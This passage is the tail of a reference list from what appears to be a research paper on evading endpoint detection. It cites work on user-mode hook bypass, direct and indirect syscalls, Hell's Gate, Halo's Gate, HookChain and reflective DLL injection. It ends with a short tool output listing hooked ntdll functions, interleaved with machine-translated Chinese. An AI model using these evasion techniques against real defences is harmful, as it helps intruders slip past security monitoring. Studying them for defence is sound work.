[8] M. Pietrek, Windows 95 System Programming Secrets, Foster City: IDG Books Worldwide, Inc, 1995.
[9] @modexpblog, "Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams," [Online]. Available:
https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-directinvocation-of-system-calls-for-red-teams/. [Accessed 2203 2024].
[10] amOnsec; smelly__vx;, [Online]. Available:
https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf. [Accessed 22 03 2024].
[11] ReenzOh from Sektor7, 2304 2021. [Online]. Available: https://blog.sektor7.net/\#!res/2021/halosgate.md. [Accessed 2203 2024].
[12] C. Joca, "NtGate, An implementation of Halo's Gate and indirect syscalls," [Online]. Available: https://github.com/hiatus/NtGate. [Accessed 2203 2024].
[13] H. C. J. M4v3r1ck, "HookChain Research - Step 1," [Online]. Available: https://github.com/helviojunior/hookchain/tree/0b4a953c10a18f53aa68f7588 db9818730dd7a52. [Accessed 2203 2024].
[14] S. Fewer, "ReflectiveDLLInjection," [Online]. Available: https://github.com/stephenfewer/ReflectiveDLLInjection/. [Accessed 2203 2024].
[15] Gartner, "Magic Quadrant for Endpoint Protection Platforms," 31122023. [Online]. Available: https://www.gartner.com/doc/reprints?id=12G7RNK65\&ct=240112\&st=sb.
[16] Rapid7, [Online]. Available: https://www.metasploit.com/. [Accessed 0304 2024].
[17] C5pider, [Online]. Available: https://havocframework.com/. [Accessed 0304 2024].

  1. [+] Listing ntdll Nt/Zw functions
    [+] 列出 ntdll Nt/Zw 功能

    NtAdjustPrivilegesToken is hooked
    NtAdjustPrivilegesToken 已上钩

    NtAlpcConnectPort is hooked
    NtAlpcConnectPort 已挂钩

    NtAlpcCreatePort is hooked
    NtAlpcCreatePort 已挂钩